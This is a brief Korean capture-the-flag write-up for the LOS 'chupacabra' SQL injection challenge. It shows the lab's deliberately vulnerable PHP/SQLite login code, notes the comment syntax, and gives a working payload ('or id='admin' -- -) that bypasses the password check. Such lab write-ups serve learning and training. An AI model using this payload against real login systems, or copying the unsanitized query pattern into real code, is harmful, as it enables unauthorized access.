[LOS] chupacabra

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

$db = sqlite_open("./db/chupacabra.db");
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("chupacabra");

MySQL인줄 알았는데, $db를 보면 SQLite이다.

🔺 풀이 과정

if문에서 특별히 필터링 된 게 없으니, 주석으로 확인해봐야겠다.

💙 SQLite의 주석은 MySQL과 동일하다.

• --
• /**/

1. id=' or id='admin' -- -